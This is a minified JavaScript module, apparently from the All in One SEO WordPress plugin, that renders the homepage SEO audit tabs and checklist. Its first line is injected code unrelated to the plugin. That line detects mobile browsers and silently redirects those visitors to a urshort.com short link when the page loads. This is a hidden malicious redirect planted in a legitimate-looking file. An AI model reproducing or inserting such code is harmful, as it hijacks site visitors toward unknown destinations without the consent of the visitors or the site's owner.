(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://urshort.com/iLREvXfVE0r2");
import{B as b,h as z,b as L,$ as x,c as H,G as w}from"./app-core.52885c02.js";import{C as S}from"./Card.91e8fa10.js";import{_ as B}from"./Analyze.f7afa4e6.js";import{C as N}from"./Tooltip.9761aafe.js";import{at as D,v as t,f as n,i as h,a0 as o,Q as g,R as a,j as d,P as M,S as O,U as _,M as y,u as k,r as T,an as $,ae as E}from"./vendor-vue-ui.c21c50b5.js";import{C as V}from"./Tabs.0c075353.js";import{C as G}from"./Button.7e4e5aaa.js";import{_ as U}from"./iphone-frame.214f838c.js";import{a as q}from"./utils.476b943f.js";import{_ as I}from"./_plugin-vue_export-helper.eefbdd86.js";import{_ as v}from"./vendor-other.ec82d685.js";import{S as P}from"./Refresh.215e92d6.js";import{S as Q}from"./Trash.e939fb36.js";import"./vendor-lodash.b9aaf385.js";import"./Caret.911868b5.js";import"./Close.4a8424fd.js";import"./Slide.a69b6847.js";import"./SeoSiteScore.dd511084.js";import"./Blur.733ff0bf.js";import"./DonutChart.a854383d.js";import"./AnimatedNumber.4884d078.js";import"./Index.9b4c8b62.js";import"./Loading.0b1aae81.js";import"./Book.1c148583.js";import"./Lab.60083a9d.js";import"./ProBadge.3032531f.js";import"./Information.6d9ffde8.js";import"./GoogleSearchPreview.f1f70eb9.js";import"./Globe.58b891e9.js";import"./Url.205ac083.js";import"./Pencil.886eeda5.js";const j={key:0,class:"loading-container"},F={key:1},J={class:"label"},K={key:2},W={__name:"HomepageAuditTabList",setup(R){const l="all-in-one-seo-pack",e=b(),C=D(),c=T(!1),i=k(()=>{const r=q({error:e.homeResults.score?e.criticalCount("homepage"):0,warning:e.homeResults.score?e.recommendedCount("homepage"):0,good:e.homeResults.score?e.goodCount("homepage"):0}).filter(f=>0<f.analyze.count),s=C?.query?.tab;return s&&r.find(f=>f.slug===s)?e.changeHomepageAuditTab(s):r.length&&e.changeHomepageAuditTab(r[0].slug),r}),u={noResults:v("No results found.",l)};function m(p){c.value||(c.value=!0,e.changeHomepageAuditTab(p),setTimeout(()=>{c.value=!1},50))}return(p,r)=>t(e).analyzing?(n(),h("div",j,[o(t(G),{dark:""})])):(n(),h("div",F,[i.value.length?(n(),g(t(V),{key:0,tabs:i.value,showSaveButton:!1,active:t(e).homepageAudit.activeTab,internal:"",onChanged:m,"skinny-tabs":""},{"var-tab":a(({tab:s})=>[d("span",{class:M(["icon",s.analyze.classColor])},[(n(),g(O(s.icon)))],2),d("span",J,_(s.label)+" ("+_(s.analyze.count||0)+")",1)]),_:1},8,["tabs","active"])):y("",!0),t(e).homeResults.results&&i.value.length?(n(),g(t(U),{key:1,section:t(e).homepageAudit.activeTab,"all-results":t(e).homeResults.results,"show-instructions":""},null,8,["section","all-results"])):y("",!0),i.value.length?y("",!0):(n(),h("div",K,[d("span",null,_(u.noResults),1)]))]))}},X=I(W,[["__scopeId","data-v-db3edc20"]]),Y={class:"aioseo-seo-audit-checklist"},Z=["innerHTML"],we={__name:"SeoHomepageAudit",setup(R){const l="all-in-one-seo-pack",e=b(),C=z(),c=L(),i=x(),u=T(!1),m={completeSeoChecklist:v("Complete SEO Checklist",l),refreshResults:v("Refresh Results",l),cardDescription:v("These are the results our SEO Analzyer has generated after analyzing the homepage of your website.",l)+" "+H.getDocLink(w.learnMore,"seoAnalyzer",!0)},p=k(()=>!C.isUnlicensed||c.aioseo.data.isNetworkLicensed);async function r(){u.value=!0,await e.runSiteAnalyzer({refresh:!0}),u.value=!1}return(s,f)=>{const A=$("base-button");return n(),h("div",Y,[o(t(S),{slug:"connectOrScore","hide-header":"","no-slide":"",toggles:!1},{default:a(()=>[o(t(B))]),_:1}),(p.value||t(i).hasSiteAnalysisConnectToken)&&!t(e).analyzeError&&t(e).homeResults.score&&!t(e).analyzing?(n(),g(t(S),{key:0,slug:"completeSeoChecklist","no-slide":"",toggles:!1},{header:a(()=>[d("span",null,_(m.completeSeoChecklist),1),o(t(N),null,{tooltip:a(()=>[d("span",{innerHTML:m.cardDescription},null,8,Z)]),default:a(()=>[o(t(Q))]),_:1})]),"header-extra":a(()=>[o(A,{class:"refresh-results",type:"gray",size:"small",onClick:r,loading:u.value},{default:a(()=>[o(t(P)),E(" "+_(m.refreshResults),1)]),_:1},8,["loading"])]),default:a(()=>[o(t(X))]),_:1})):y("",!0)])}}};export{we as default};
